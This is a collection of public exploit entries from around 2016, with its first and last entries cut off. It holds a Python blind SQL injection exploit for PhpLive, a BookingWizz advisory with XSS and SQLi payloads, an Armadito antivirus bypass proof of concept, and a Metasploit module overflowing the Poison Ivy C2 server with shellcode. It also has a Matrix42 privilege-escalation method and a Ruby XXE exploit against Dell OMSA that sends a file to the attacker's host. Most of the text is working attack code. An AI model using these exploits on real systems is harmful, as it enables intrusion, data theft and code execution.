pwd_verify = md5.new("%d%d" % (last_active,passwd)).hexdigest()
url_params = url_params % (pwd_verify,target,str)
return req_url % (host, url_params)
def exploit(host, admin, last_active, passwd):
if admin:
target="adminid"
sql = "union+all+select+adminid,created,%d,status,ses,login,%d,email+from+p_admins+where+login+like+%s25"
else:
target="opid"
sql = "union+all+select+opid,%d,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,login,%d,0,0,0,0,0,0+from+p_operators+where+login+like+%s25"
char_list = list(string.ascii_letters)
for char in char_list:
payload = build_payload(host, sql, hex(ord(char)), target=target, last_active=last_active, passwd=passwd)
request = urllib2.urlopen(payload)
if request.code == 200:
html = request.read()
result = match.findall(html)
if len(result) == 2 and result[1]:
print "[*]\tSUCCESS!!!!!"
print "[*]\t%s %s" % (re.sub("<span.*?>|</span>","",result[0]), result[1])
break
# exploit(server_url, admin=False, last_active=1, passwd=1)
if __name__ == '__main__':
admin = True
parser = argparse.ArgumentParser(description='PhpLive 4.4.8 Password Recovery Sql injection Exploit')
parser.add_argument("-u", "--url", help="url host|ipaddress/path eg: localhost/phplive")
parser.add_argument("-o", "--operator", help="Execute operators password reset", action="store_true")
parser.add_argument("-l", "--lastactive", help="Last active date (int)", type=int, default=0)
parser.add_argument("-p", "--passwd", help="Password (int)", type=int, default=0)
args = parser.parse_args()
if args.operator:
print "[*]\toperator password reset"
admin = False
exploit(args.url, admin, args.lastactive, args.passwd)
1. ADVISORY INFORMATION
========================================
Title: BookingWizz < 5.5 Multiple Vulnerability
Application: BookingWizz
Class: Sensitive Information disclosure
Remotely Exploitable: Yes
Versions Affected: < 5.5
Vendor URL: http://codecanyon.net/item/booking-system/87919
Bugs: Default credentials, CSRF, XXS, SQLi Injection, LFI
Date of Public Advisory: 15 Jun 2016
Author: Mehmet Ince
2. CREDIT
========================================
Those vulnerabilities was identified during external penetration test
by Mehmet INCE from PRODAFT / INVICTUS
Original Advisory:
https://www.mehmetince.net/exploit/bookingwizz-55-multiple-vulnerability
PR1 - Default Administrator Credentials
========================================
File: install.php
People are to lazy to change default credential unless application force
them to do that.
Line 128: <br />Default username/password: <b>admin/pass</b></div>";
PR2 - Cross Site Scripting
========================================
File : eventList.php
// Improper user input validation on
Line 24: $serviceID =
(!empty($_REQUEST["serviceID"]))?strip_tags(str_replace("'","`",$_REQUEST["serviceID"])):getDefaultService();
Line 60: <?php echo SAMPLE_TEXT?> <strong><?php echo VIEW?> <a
href="index.php?serviceID=<?php echo $serviceID?>"><?php echo
CALENDAR?></a></strong>
Payload = 1337" onmouseover="alert(1)
PoC =
http://www.convergine.com/scripts/booking/eventList.php?serviceID=1337%22%20onmouseover=%22alert(1)
PR3 - Local File Inclusion
========================================
File:config.php
Lang variable is under the user control.
Line 31: $lang = (!empty($_REQUEST["lang"])) ? strip_tags(str_replace("'",
"`", $_REQUEST["lang"])) : 'english';
Storing user controlled variable within session variable.
Line 36 - 38 :
if (!empty($_REQUEST["action"]) && $_REQUEST["action"] == "changelang") {
$_SESSION['curr_lang'] = $lang;
}
And using it with include function which cause straightforward file
inclusion.
Line 60 - 68:
$languagePath = MAIN_PATH."/languages/".$_SESSION['curr_lang'].".lang.php";
if(is_file($languagePath)) {
include MAIN_PATH."/languages/".$_SESSION['curr_lang'].".lang.php";
}else{
print "ERROR !!! Language file ".$_SESSION['curr_lang'].".lang.php not
found";
exit();
}
PR4 - SQL Injection
========================================
We've seen a lot of potentially SQL Injection vulnerability during code
review.
2 example can be given for this potential points.
File : ajax/checkDeletedServices.php
line 19 - 20:
$bsid = (!empty($_REQUEST["bsid"])) ? $_REQUEST["bsid"] : array();
$type = (!empty($_REQUEST["type"])) ? $_REQUEST["type"] : 'service';
Line 26:
if($type=='service'){
$service = getService($id);
$name = $service['name'];
}
This function executes query with $id parameter which is user input through
checkDeletedServices.php file.
function getService($id, $field=null) {
$sql = "SELECT * FROM bs_services WHERE id='{$id}'";
$res = mysql_query($sql);
if ($field == null) {
return mysql_fetch_assoc($res);
} else {
$row = mysql_fetch_assoc($res);
return $row[$field];
}
}
File : ajax/checkChangeAvailability.php
Line 19 -21
$id = (!empty($_REQUEST["id"])) ? $_REQUEST["id"] : '';
$interval = getServiceSettings($id,'interval');
getServiceSettings function calls another function named as getService
which is also vulnerable against SQL Injection.
function getServiceSettings($id, $field=null) {
$serviceType = getService($id,'type');
if($serviceType=='t'){
$sql = "SELECT * FROM bs_service_settings bss
INNER JOIN bs_services bs ON bss.serviceId = bs.id
WHERE bss.serviceID='{$id}'";
}else{
$sql = "SELECT * FROM bs_service_days_settings bsds
INNER JOIN bs_services bs ON bsds.idService = bs.id
WHERE bsds.idService='{$id}'";
}
$res = mysql_query($sql);
$row = mysql_fetch_assoc($res);
$row['type'] = $serviceType;
if ($field == null) {
return $row;
} else {
return $row[$field];
}
}
In order to exploit this flaws, Time Based SQLi techniques was used.
Payload: id=1' AND SLEEP(5) AND 'WAlE'='WAlE
PR5 - CSRF
========================================
File: bs-settings.php
This file is reponsible for administrator account settings. Here is the
HTTP POST request.
POST /booking/bs-settings.php HTTP/1.1
Host: www.test.dev
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101
Firefox/36.04
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://www.test.dev/scripts/booking/bs-settings.php
Cookie: PHPSESSID=1511036c75229f53ae475a0615661394;
__utma=256227097.1395600583.1465982938.1465982938.1465982938.1;
__utmc=256227097;
__utmz=256227097.1465982938.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
wordfence_verifiedHuman=498f28acf0e6151e19053a23c0fbc76b
Connection: close
Content-Type: multipart/form-data;
boundary=---------------------------305761854111129072091034307
Content-Length: 2678
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="new_pass"
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="new_pass2"
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="email"
test@yopmail.com
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="pemail"
test@yopmail.com
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="pcurrency"
CAD
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="tax"
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="time_mode"
0
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="date_mode"
Y-m-d
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="use_popup"
1
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="currency"
$
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="currencyPos"
b
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="lang"
english
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="language_switch"
1
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="timezone"
America/Toronto
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="multi_day_notification"
0
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="multi_day_notification_on"
n
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="single_day_notification"
0
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="single_day_notification_on"
n
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="event_notification"
0
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="event_notification_on"
n
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="cron_type"
cron
-----------------------------305761854111129072091034307
Content-Disposition: form-data; name="edit_settings"
yes
-----------------------------305761854111129072091034307--
There is NOT csrf token at all. Furthermore, application does not validated
current password.
--
Sr. Information Security Engineer
https://www.mehmetince.net
/*
# Exploit Title : Armadito antimalware - Backdoor/Bypass
# Date : 07-06-2016 (DD-MM-YYYY)
# Exploit Author : Ax.
# Vendor Homepage : http://www.teclib-edition.com/teclib-products/armadito-antivirus/
# Software Link : https://github.com/41434944/armadito-av
# Version : No version specified. Fixed 07-06-2016 post-disclosure
# Tested on : Windows 7
1. Description
Armadito is an modern antivirus developped by the french company TecLib' (http://www.teclib.com/). Looking at the source code made public few days ago we discovered that there was a backdoor (or a really lack of knowledge from their developpers, meaning that they should reconsider working in security).
2. Proof Of Concept
As it can be seen in the GitHub repository in the file : armadito-av/core/windows/service/scan_onaccess.c at line 283. An obvious backdoor has been implemented.
[SOURCE]
if (msDosFilename == NULL) {
a6o_log(ARMADITO_LOG_SERVICE,ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n",ThreadId);
scan_result = ARMADITO_EINVAL;
}
else if (strstr(msDosFilename,"ARMADITO.TXT") != NULL) { // Do not scan the log file. (debug only)
scan_result = ARMADITO_WHITE_LISTED;
}
else {
// launch a simple file scan
//printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename);
scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report);
a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
}
[/SOURCE]
Calling a file ARMADITO.TXT-Malware.exe (or whatever containing ARMADITO.TXT in its name) simply bypass the runtime analysis of the antivirus. You can find attach a small piece of code based on Armadito to reproduce the exploit.
3. Solution
Stop paying developpers that do not know how to deal with security. (Reading the rest of the code has been an exhausting work).
3 bis. Real solution
It seems that they fixed the backdoor already (https://github.com/armadito/armadito-av/blob/DEV/core/windows/service/scan_onaccess.c)
*/
#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#define BUFSIZE 4096
#define MAX_PATH_SIZE 255
#define ARMADITO_EINVAL 0
#define ARMADITO_WHITE_LISTED 1
char * ConvertDeviceNameToMsDosName(LPSTR DeviceFileName)
{
char deviceDosName[BUFSIZE];
char deviceLetter[3] = { '\0' };
char deviceNameQuery[BUFSIZE] = { '\0' };
char * deviceDosFilename = NULL;
DWORD len = 0;
DWORD len2 = 0;
DWORD ret = 0;
BOOL bFound = FALSE;
char * tmp;
if (DeviceFileName == NULL) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " [-] Error :: ConvertDeviceNameToMsDosName :: invalid parameter DeviceName\n");
printf("FileName null.\n");
return NULL;
}
// Get the list of the logical drives.
len = GetLogicalDriveStringsA(BUFSIZE, deviceDosName);
if (len == 0) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName!GetLogicalDriveStrings() failed :: error code = 0x%03d", GetLastError());
printf("Error : GetLogicalDriveStringsA()\n");
return NULL;
}
tmp = deviceDosName;
do {
//printf("[+] Debug :: deviceDosName = %s\n",tmp);
// Get the device letter without the backslash (Ex: C:).
memcpy_s(deviceLetter, 2, tmp, 2);
if (!QueryDosDeviceA(deviceLetter, deviceNameQuery, BUFSIZE)) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: QueryDosDeviceA() failed :: error code = 0x%03d\n", GetLastError());
printf("Error : QuedryDosDeviceA()\n");
return NULL;
}
//printf("[+] Debug :: DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter);
if (deviceNameQuery == NULL) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, "[-] Error :: ConvertDeviceNameToMsDosName :: QueryDosDeviceA() failed :: deviceNameQuery is NULL\n", GetLastError());
printf("deviceNameQuery null.\n");
}
if (deviceNameQuery != NULL && strstr(DeviceFileName, deviceNameQuery) != NULL) {
//printf("[+] Debug :: FOUND DeviceName = %s ==> %s\n",deviceNameQuery,deviceLetter);
len2 = strnlen_s(deviceNameQuery, MAX_PATH_SIZE);
len = strnlen_s(DeviceFileName, MAX_PATH_SIZE) - len2 + 3;
deviceDosFilename = (char*)calloc(len + 1, sizeof(char));
deviceDosFilename[len] = '\0';
memcpy_s(deviceDosFilename, len, tmp, 3);
memcpy_s(deviceDosFilename + 2, len, DeviceFileName + len2, len - 1);
bFound = TRUE;
}
// got to the next device name.
while (*tmp++);
//printf("[+] Debug :: next device name = %s\n",tmp);
} while (bFound == FALSE && *tmp);
if (bFound == FALSE) {
return NULL;
}
return deviceDosFilename;
}
int main(int argc, char ** argv)
{
char * msDosFilename = NULL;
int i = 0;
LPSTR ArmaditoFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT"; /* Converted, this is C:\\ARMADITO.txt */
LPSTR BinaryFile = "\\Device\\HarddiskVolume2\\Malware.exe"; /* Converted, this is C:\\malware.exe */
LPSTR BinaryPOCFile = "\\Device\\HarddiskVolume2\\ARMADITO.TXT-ILoveJeromeNotin.exe"; /* Converted, this is C:\\ARMADITO.txt-ILoveJeromeNotin.exe */
char *string;
int scan_result = -1;
/* Armadito get the filename from message->msg.FileName ; We remplaced it using a simple string*/
// msDosFilename = ConvertDeviceNameToMsDosName(message->msg.FileName);
for (i = 0; i < 3; i++)
{
if (i == 0)
{
printf("Scanning C:\\ARMADITO.txt\n");
msDosFilename = ConvertDeviceNameToMsDosName(ArmaditoFile);
}
else if (i == 1)
{
printf("Scanning C:\\malware.exe\n");
msDosFilename = ConvertDeviceNameToMsDosName(BinaryFile);
}
else
{
printf("Scanning C:\\ARMADITO.txt-ILoveJeromeNotin.exe\n");
msDosFilename = ConvertDeviceNameToMsDosName(BinaryPOCFile);
}
//report.status = ARMADITO_CLEAN;
/* If the ConvertDeviceNametoMsDosName fails */
if (msDosFilename == NULL) {
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_WARNING, " ArmaditoSvc!UserScanWorker :: [%d] :: ConvertDeviceNameToMsDosName failed :: \n", ThreadId);
scan_result = ARMADITO_EINVAL;
}
/* If it contains ARMADITO.TXT ... SERIOUSLY ? */
else if (strstr(msDosFilename, "ARMADITO.TXT") != NULL) { // Do not scan the log file. (debug only)
scan_result = ARMADITO_WHITE_LISTED;
printf("This file is not suspicious. Since it contains ARMADITO.txt ........... \n");
}
else {
/* Armadito basic scan */
printf("Armadito will now scan the file.\n");
// launch a simple file scan
//printf("[+] Debug :: UserScanWorker :: [%d] :: a6o_scan :: [%s] \n",ThreadId,msDosFilename);
//scan_result = a6o_scan_simple(Context->armadito, msDosFilename, &report);
//a6o_log(ARMADITO_LOG_SERVICE, ARMADITO_LOG_LEVEL_DEBUG, "[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
//printf("[+] Debug :: UserScanWorker :: [%d] :: %s :: %s\n", ThreadId, msDosFilename, ScanResultToStr(scan_result));
}
printf("\n\n");
}
getchar();
return 0;
}
Source: https://twitter.com/halsten/status/740380171694280704
Win/Mac #MSFT Word #0day POC having 3 different forced triggers. Happy exploitation!
Let Word recover it, its essential, and then you can trigger the bug afterwards in 3 ways, Save, Close/Save, change format.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39906.zip
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Poison Ivy 2.1.x C2 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Poison Ivy 2.1.x C&C server.
The exploit does not need to know the password chosen for the bot/server communication.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jos Wetzels' # Vulnerability Discovery, exploit & Metasploit module
],
'References' =>
[
[ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ],
],
'DisclosureDate' => 'Jun 03 2016',
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 0x847 # limited by amount of known plaintext (hard upper limit is 0xFFD)
},
'Platform' => 'win',
'Targets' =>
[
[
'Poison Ivy 2.1.4 on Windows XP SP3',
{
'Ret' => 0x00469159, # jmp esp from "Poison Ivy 2.1.4.exe"
'StoreAddress' => 0x00520000, # .tls section address from "Poison Ivy 2.1.4.exe"
'InfoSizeOffset' => 0x1111, # offset of InfoSize variable
'DecompressSizeOffset' => 0x1109, # offset of DecompressSize variable
'Packet2Offset' => 0xB9E # offset of second packet within server's response
}
]
],
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(3460)
], self.class)
end
# XOR two strings
def xor_strings(s1, s2)
s1.unpack('C*').zip(s2.unpack('C*')).map{ |a,b| a ^ b }.pack('C*')
end
# Obtain keystream using known plaintext
def get_keystream(ciphertext, knownPlaintext)
if(ciphertext.length < knownPlaintext.length)
return xor_strings(ciphertext, knownPlaintext[0, ciphertext.length])
else
return xor_strings(ciphertext, knownPlaintext)
end
end
# Apply keystream to plaintext
def use_keystream(plaintext, keyStream)
if(keyStream.length > plaintext.length)
return xor_strings(plaintext, keyStream[0, plaintext.length])
else
return xor_strings(plaintext, keyStream)
end
end
def check
connect
# Poke
sock.put("\x01")
# Fetch response
response = sock.get_once(6)
if (response == "\x89\xFF\x90\x0B\x00\x00")
vprint_status("Poison Ivy C&C version 2.1.4 detected.")
return Exploit::CheckCode::Appears
elsif (response == "\x89\xFF\x38\xE0\x00\x00")
vprint_status("Poison Ivy C&C version 2.0.0 detected.")
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Safe
end
# Load known plaintext chunk
def load_c2_packet_chunk
path = ::File.join(Msf::Config.data_directory, 'exploits', 'poison_ivy_c2', 'chunk_214.bin')
chunk = ::File.open(path, 'rb') { |f| chunk = f.read }
chunk
end
def exploit
# Known plaintext from C2 packet
knownPlaintext1 = "\x89\x00\x69\x0c\x00\x00"
knownPlaintext2 = load_c2_packet_chunk()
# detour shellcode (mov eax, StoreAddress; jmp eax)
detourShellcode = "\xB8" + [target['StoreAddress']].pack("V") # mov eax, StoreAddress
detourShellcode << "\xFF\xE0" # jmp eax
# Padding where necessary
compressedBuffer = payload.encoded + Rex::Text.rand_text_alpha(0xFFD - payload.encoded.length)
# Construct exploit buffer
exploitBuffer = Rex::Text.rand_text_alpha(4) # infoLen (placeholder)
exploitBuffer << compressedBuffer # compressedBuffer
exploitBuffer << "\xFF" * 0x104 # readfds
exploitBuffer << Rex::Text.rand_text_alpha(4) # compressionType
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressSize (placeholder)
exploitBuffer << Rex::Text.rand_text_alpha(4) # pDestinationSize
exploitBuffer << Rex::Text.rand_text_alpha(4) # infoSize (placeholder)
exploitBuffer << Rex::Text.rand_text_alpha(4) # headerAllocSize
exploitBuffer << [target['StoreAddress']].pack("V") # decompressBuffer
exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressBuffer+4
exploitBuffer << Rex::Text.rand_text_alpha(4) # lParam
exploitBuffer << Rex::Text.rand_text_alpha(4) # timeout
exploitBuffer << Rex::Text.rand_text_alpha(4) # hWnd
exploitBuffer << Rex::Text.rand_text_alpha(4) # s
exploitBuffer << Rex::Text.rand_text_alpha(4) # old EBP
exploitBuffer << [target['Ret']].pack("V") # EIP
exploitBuffer << [target['StoreAddress']].pack("V") # arg_0
exploitBuffer << detourShellcode # detour to storage area
# Calculate values
allocSize = exploitBuffer.length + 1024
infoLen = payload.encoded.length
infoSize = (infoLen + 4)
# Handshake
connect
print_status("Performing handshake...")
# Poke
sock.put("\x01")
# Fetch response
response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize)
eHeader = response[target['Packet2Offset'], 6]
eInfo = response[target['Packet2Offset'] + 10..-1]
if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize))
# Keystream derivation using Known Plaintext Attack
keyStream1 = get_keystream(eHeader, knownPlaintext1)
keyStream2 = get_keystream(eInfo, knownPlaintext2)
# Set correct infoLen
exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1]
# Set correct decompressSize
exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1]
# Build packet
malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1)
# Encrypt infoSize bytes
encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1]
# Make sure infoSize gets overwritten properly since it is processed before decryption
encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1]
# Finalize packet
exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer
print_status("Sending exploit...")
# Send exploit
sock.put(exploitPacket)
else
print_status("Not enough keystream available...")
end
select(nil,nil,nil,5)
disconnect
end
end
# Exploit Title: Matrix42 Remote Control Host - Unquoted Path Privilege Escalation
# Date: 06-05-2016
# Exploit Author: Roland C. Redl
# Vendor Homepage: https://www.matrix42.com/
# Software Link: n/a
# Version: 3.20.0031
# Tested on: Windows 7 Enterprise SP1 x64
# CVE : n/a
1. Description:
>sc qc FastViewerRemoteProxy
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: FastViewerRemoteProxy
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 4 DISABLED
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastProxy.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : FastViewer Proxyservice
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
>sc qc FastViewerRemoteService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: FastViewerRemoteService
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastRemoteService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : FastViewer Remoteservice
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
The unquoted path could potentially allow an authorized but non privileged local user to execute arbitrary code with elevated privileges on the system.
2. Proof of concept:
Copy notepad.exe to "C:\Program Files (x86)\Matrix42\" and rename it to "Remote.exe".
Restart the service or the machine and Remote.exe will start with SYSTEM privileges.
3. Solution:
To fix it manually, open regedit, browse to HKLM\SYSTEM\CurrentControlSet\services and add the quotes to the ImagePath value of the relevant service.
#!/usr/bin/ruby
#
# Exploit Title: Dell OpenManage Server Administrator 8.3 XXE
# Date: June 9, 2016
# Exploit Author: hantwister
# Vendor Homepage: http://en.community.dell.com/techcenter/systems-management/w/wiki/1760.openmanage-server-administrator-omsa
# Software Link: http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=CCKPW
# Version: 8.3
# Tested On: RHEL7
#
# Description:
# When using an XML parser on returned data by a remote node, OMSA does not
# restrict the use of external entities.
#
# This PoC first emulates a remote node (OMSA -> WS-Man -> this) and
# requests from the victim OMSA (this -> HTTPS -> OMSA) that it be managed.
#
# Next, the PoC requests (this -> HTTPS -> OMSA) a plugin that will attempt
# to parse returned XML, and when the OMSA instance requests this XML from
# the emulated node (OMSA -> WS-Man -> this), the PoC returns XML that
# includes a XXE attack, revealing the contents of /etc/redhat-release.
#
# Because OMSA merely requires you be authenticated to the node you are
# managing, which we control, authentication to the victim is not required
# to exploit this vulnerability.
#
# To use, change line 55 to your victim IP. If you have multiple network
# interfaces, you may wish to manually specify which one will be accessible
# to the victim on line 60.
#
# Note: during testing, OMSA would periodically begin rejecting connections
# to fake nodes and would need to be restarted; do not expect multiple runs
# against the same victim to be successful unless you can restart it.
#
# Copyright (C) 2016 hantwister
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
require 'webrick'
require 'webrick/https'
require 'nokogiri'
require 'securerandom'
require "net/http"
require "uri"
victimip = nil
if victimip.nil?
abort "You should modify this file and specify a victim IP."
end
attackerip = Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address
print "Your IP: #{attackerip}\n\nThe victim must be able to reach you at this IP, port 5986 and 8080.\nIf it isn't right, modify this script.\nYou have ten seconds to abort this script.\n\n"
sleep 10
wsmanCallback = WEBrick::HTTPServer.new(:Port => 5986, :SSLEnable => true, :SSLCertName => [ %w[CN localhost] ])
wsmanCallback.mount_proc '/wsman' do |req, res|
doc = Nokogiri::XML(req.body) do |config|
config.options = Nokogiri::XML::ParseOptions::NONET
end
doc.xpath('//wsmid:Identify', 'wsmid' => 'http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd').each do |idRequest|
res.status = 200
res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
res.body = '<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>'
end
doc.xpath('//n1:SendCmd_INPUT', 'n1' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule').each do |dellRequest|
dellCmd = dellRequest.child.text
respText = " "
if dellCmd.start_with?("__00omacmd=getuserrightsonly ")
userRights = (7 + (7 << 16))
respText = "<SMStatus>0</SMStatus><UserRightsMask>#{userRights}</UserRightsMask>"
elsif dellCmd.start_with?("__00omacmd=getaboutinfo ")
respText = "<ProductVersion>6.0.3</ProductVersion>"
elsif dellCmd.start_with?("__00omacmd=getcmdlogcontent")
respText = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE bogus [\n <!ENTITY % file SYSTEM \"file:///etc/redhat-release\">\n <!ENTITY % dtd SYSTEM \"http://#{attackerip}:8080/stage2.dtd\">\n%dtd;\n%send;\n]]>\n<bogus><blah /></bogus>"
end
resDoc = Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:wsman=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:n1=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule\"><s:Header><wsa:To> </wsa:To><wsa:RelatesTo> </wsa:RelatesTo><wsa:MessageID> </wsa:MessageID></s:Header><s:Body><n1:SendCmd_OUTPUT><n1:ResultCode>0</n1:ResultCode><n1:ReturnValue> </n1:ReturnValue></n1:SendCmd_OUTPUT></s:Body></s:Envelope>")
resDoc.xpath('//wsa:To').first.content=doc.xpath('//wsa:Address').first.text
resDoc.xpath('//wsa:RelatesTo').first.content=doc.xpath('//wsa:MessageID').first.text
resDoc.xpath('//wsa:MessageID').first.content=SecureRandom.uuid
resDoc.xpath('//n1:ReturnValue').first.content=respText
res.status = 200
res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
res.body = resDoc.to_xml
end
end
wsmanThread = Thread.new do
wsmanCallback.start
end
xxeCallback = WEBrick::HTTPServer.new(:Port => 8080)
xxeCallback.mount_proc '/stage2.dtd' do |req, res|
res.status = 200
res['Content-Type'] = 'application/xml-dtd'
res.body = "<!ENTITY % all\n \"<!ENTITY % send SYSTEM 'http://#{attackerip}:8080/xxe?result=%file;'>\"\n>\n%all;\n"
end
result = nil
xxeCallback.mount_proc '/xxe' do |req, res|
result = req.query['result']
wsmanCallback.shutdown
xxeCallback.shutdown
end
xxeThread = Thread.new do
xxeCallback.start
end
trap 'INT' do
wsmanCallback.shutdown
xxeCallback.shutdown
abort "Exiting"
end
httpConn = Net::HTTP.new(victimip, 1311)
httpConn.use_ssl=true
httpConn.verify_mode=OpenSSL::SSL::VERIFY_NONE
print "\n\nRequesting that the victim log onto this malicious node...\n\n"
logonUri = URI.parse("https://#{victimip}:1311/LoginServlet?flag=true&managedws=false")
logonReq = Net::HTTP::Post.new(logonUri.request_uri)
logonReq.set_form_data({"manuallogin" => "true", "targetmachine" => attackerip, "user" => "nobody", "password" => "", "application" => "omsa", "ignorecertificate" => "1"})
logonRes = httpConn.request(logonReq)
jSessionId = logonRes['Set-Cookie']
jSessionId = jSessionId[(jSessionId.index('=')+1)..(jSessionId.index(';')-1)]
vid = logonRes['Location']
vid = vid[(vid.index('&vid=')+5)..-1]
print "\n\nJSESSIONID = #{jSessionId}\nVID = #{vid}\nRequesting the victim's CmdLogWebPlugin...\n\n"
pluginUri = URI.parse("https://#{victimip}:1311/#{vid}/DataArea?plugin=com.dell.oma.webplugins.CmdLogWebPlugin&vid=#{vid}")
pluginReq = Net::HTTP::Get.new(pluginUri.request_uri)
pluginReq['Cookie']="JSESSIONID=#{jSessionId}"
